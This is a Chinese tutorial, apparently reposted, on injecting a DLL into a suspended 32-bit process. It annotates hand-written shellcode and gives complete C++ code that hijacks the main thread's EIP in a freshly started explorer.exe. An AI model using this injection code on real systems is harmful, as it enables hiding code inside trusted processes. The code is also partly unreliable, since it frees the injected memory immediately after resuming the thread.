ring3 x32掛起進程注入原理.


一丶掛起進程注入簡介與前言

掛起進程其實就是在創建進程的時候不讓其先執行.然后獲取它的EIP 將它的EIP變成我們ShellCode所在的內存.進行執行.不難.

主要分為幾步:

1.以CREATE_SUSPENDED標志掛起創建一個你想注入的進程
2.獲取這個進程的上下文環境 GetThreadContext 64位下使用Wow64GetThreadContext 請注意.CONTEXT結構還是同一個.使用64的會出錯.親測.(EIP注入的時候測試過.不相信可以去試試)
3.定義自己的ShellCode. ShellCode主要作用就是注入指定路徑下的DLL
4.修復ShellCode 因為畢竟ShellCode地址是絕對的所以修復下即可.
5.在目標進程中申請遠程可讀寫執行內存.並且將修復好的ShellCode寫入到目標進程
6.將EIP修改為可讀寫內存的地址.恢復線程則會調用到我們申請地址位置處開始執行.

7.釋放一系列資源.

綜上所述.其實沒有難點.掛起進程注入主要的核心思想就是 掛起進程修改EIP為我們ShellCode起始位置.然后進行調用即可.

這里核心主要是ShellCode

ShellCode如下:

UCHAR g_ShellCode[] = {

   0x68,0x00,0x00,0x00,0x00,        //push Context.EIP 需要修復
   0x60,                            //puad
   0x9C,                            //pushfd
   0xE8, 0x00, 0x00, 0x00, 0x00,    //call $0 代碼重定位
   0x5B,                            //pop ebx
   0x83, 0xEB,0x00,                 //sub ebx,0 可加可不加
   0x8D, 0x4B,0x12,                 //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方獲取DLLpath地址
   0x51,                            //push ecx
   0xB8, 0x00,0x00,0x00,0x00,       //mov eax,LoadLibraryA 修復LoadLibraryA的地址
   0xFF,0XD0,                       //call eax  為啥使用Mov reg,address call reg. 自己去坑吧.
   0x9D,                            //popfd
   0x61,                            //popad
   0xC3,                            //ret
 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};

ShellCode主要知識點有三個

1.保存contex.EIP
2.重定位LoadLibrary的參數
3.重定位LoadLibrary的地址

下面主要針對這幾點講解.

二丶ShellCode核心講解.

2.1 保存Contex.EIP

首先掛起進程注入. 你通過CONTEXT 這個結構可以獲取 目標進程EIP.但是你要想辦法執行完ShellCode之后跳轉回去.
所以這里我使用了一個簡單的方法

push Address
ret

這個方式是利用堆棧.以及ret指令來進行返回的. 當我們保存了原始地址.然后ret的時候.ret會把我們push的地址當做返回地址來執行.

2.2 DLL路徑重定位

我們正常來說.調用LoadLibraryA/W的時候.都會進行參數壓棧進而進行調用.
如:

push xxxx地址 (地址里面是個DLL路徑)
call LoadLibraryA; 調用LoadLibrary

而為了方便我直接代碼重定位.直接將ShellCode尾部寫入我們的DLL路徑.

call $0:
pop ebx

使用這兩句可以得到ebx當前指令指定的EIP的地址. 直接當前 EIP + xxx偏移(偏移是你寫DLL路徑的位置的偏移) 就是我們的參數地址.

2.3 LoadLibrary的重定位

當你直接使用 Call的方式調用LoadLibrary的時候.你還需要計算偏移.各種等等.
但是這種不需要的.為啥. 因為Windows在啟動后 kernel32的基址已經固定了.任何程序啟動都會默認加載 kernel32的.所以直接使用LoadLibrary當地址即可.
但是你使用Call的方式 (call LoadLibrary) 你還需要計算你的ShellCode 與LoadLibrary的偏移.所以我們直接使用寄存器來做.

mov reg,LoadLibrary
call reg

reg代表任意通用寄存器.
此時我們的ShellCode就可以正常運行了.通過以上步驟就可以開始運行了.

三丶 全部C++代碼.拷貝即可使用.


#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string>

using namespace std;
UCHAR g_ShellCode[] = {

   0x68,0x00,0x00,0x00,0x00,        //push Context.EIP 需要修復
   0x60,                            //puad
   0x9C,                            //pushfd
   0xE8, 0x00, 0x00, 0x00, 0x00,    //call $0 代碼重定位
   0x5B,                            //pop ebx
   0x83, 0xEB,0x00,                 //sub ebx,0 可加可不加
   0x8D, 0x4B,0x12,                 //lea ecx,dword ptr ds:[ebx + 0x10] 定位到ShellCode下方獲取DLLpath地址
   0x51,                            //push ecx
   0xB8, 0x00,0x00,0x00,0x00,       //mov eax,LoadLibraryA 修復LoadLibraryA的地址
   0xFF,0XD0,                       //call eax  為啥使用Mov reg,address call reg. 自己去坑吧.
   0x9D,                            //popfd
   0x61,                            //popad
   0xC3,                            //ret
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, //填寫為DLL路徑
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
   0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00  //不夠可以繼續添加
};
/*
1.掛起創建Explorer
2.創建ShellCode
3.獲取上下文環境
4.申請遠程內存 寫入ShellCode
5.回去上下文環境
ShellCode 可以寫定位LoadLibrary 然后進行調用
*/

//1.掛起創建 Explorer
PPROCESS_INFORMATION StartSuspendProcess(string SuspendProcessName,char szComand[])
{
	
	BOOL bRet = FALSE;
	PPROCESS_INFORMATION pi = nullptr;
	pi = new PROCESS_INFORMATION;;
	if (pi == nullptr)
	{
		return nullptr;
	}
	STARTUPINFO si = { 0 };

	
	si.cb = sizeof(STARTUPINFO);

	//創建掛起進程
	bRet =  CreateProcess(
		SuspendProcessName.c_str(),
		szComand,
		nullptr,
		nullptr,
		FALSE,
		CREATE_SUSPENDED,
		nullptr,
		nullptr,
		&si,
		pi);
	if (bRet == FALSE)
	{
		return nullptr;
	}


	return pi;
}

//申請遠程內存
LPVOID lpExRemoteAllocMemory(HANDLE hProcess,DWORD flAllocation,DWORD Protected)
{
    LPVOID lpBuffer = nullptr;
    lpBuffer = 
        VirtualAllocEx(hProcess,
            0,
            0x1000,
            flAllocation,
            Protected
        );

    if (lpBuffer != nullptr)
        return lpBuffer;
    return nullptr;
}
//寫入ShellCode到遠程內存
DWORD lpWriteRemoteMemory(HANDLE hProcess, LPVOID lpExRemoteMemory)
{
    //將ShellCode寫入到遠程內存
    DWORD dwRet = 0;
    SIZE_T siWriteBytes;
    if (hProcess == 0)
        return 0;
    if (lpExRemoteMemory == nullptr)
        return 0;
    dwRet = WriteProcessMemory(
        hProcess, 
        lpExRemoteMemory, 
        g_ShellCode, 
        sizeof(g_ShellCode) / sizeof(g_ShellCode[0]), 
        &siWriteBytes);
    return dwRet;
}

//修復ShellCode,並且將DLL路徑寫入到ShellCode位置.
DWORD FixShellCode(DWORD dwContexEip,char* DllPath)
{
    /*
    縱觀全局數據區,ShellCode修復的位置有2處
    1.首先要修復原Context的EIP. 這樣RET之后直接跳轉回去.
    2.要修復LoadLibrary的地址.  因為Kernel32是直接加載的都是屬於內存映射.所以虛擬地址一樣.直接獲取填入即可.
    不用修復DLLpath. 因為自動進行代碼重定位寫法了.
    */

    //1.修復EIP
    __try
    {

        *(DWORD*)(char*)&g_ShellCode[1] = dwContexEip;


        //2.修復LodLibrary地址.

        //修復
        *(DWORD*)(char*)&g_ShellCode[21] = (DWORD)LoadLibraryA;

        //將DLL內容拷貝到ShellCode存放路徑處
        memcpy((char*)&g_ShellCode[30], DllPath, strlen(DllPath) + 1);
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        //出錯了.
    }
    

    return 1;
}
void run()
{
    DWORD dwRet = 0;
    LPVOID lpStartRemoteAddress = nullptr;
	//1.掛起創建進程
	PPROCESS_INFORMATION pi = nullptr;
	char szCmd[] = "";
	pi = StartSuspendProcess("C:\\Windows\\SysWOW64\\explorer.exe",szCmd);
	if (!pi)
	{
		return;
	}

	//2.獲取進程上下文環境.
	CONTEXT MyContext = { 0 };
	MyContext.ContextFlags = CONTEXT_FULL;
	dwRet =  GetThreadContext(pi->hThread, &MyContext);
    if (!dwRet)
    {
        return;
    }

    //3.修復ShellCode的值.並且寫入自己的DLL路徑
    char szDllPath[] = "填入你的DLL路徑.如: C:\\xxx.dll";
    dwRet = FixShellCode(MyContext.Eip,szDllPath);

    //4.申請遠程內存
    lpStartRemoteAddress = lpExRemoteAllocMemory(pi->hProcess, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (lpStartRemoteAddress == nullptr)
    {
        return ;
    }

    //5.將ShellCode寫入到內存中
    dwRet = lpWriteRemoteMemory(pi->hProcess, lpStartRemoteAddress);

    //6.恢復進程啟動,修改EIP為我們的ShellCode

    MyContext.Eip = (DWORD)lpStartRemoteAddress;
    SetThreadContext(pi->hThread, &MyContext);
    ResumeThread(pi->hThread);    //請注意這里 EIP修改為我們的ShellCode位置.還要恢復線程才會進行執行.
    //釋放一系列資源
    VirtualFreeEx(pi->hProcess, lpStartRemoteAddress, 0x1000, MEM_RELEASE);
    CloseHandle(pi->hProcess);
    CloseHandle(pi->hThread);
	
}
int main()
{
	run();

	return 0;
}


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM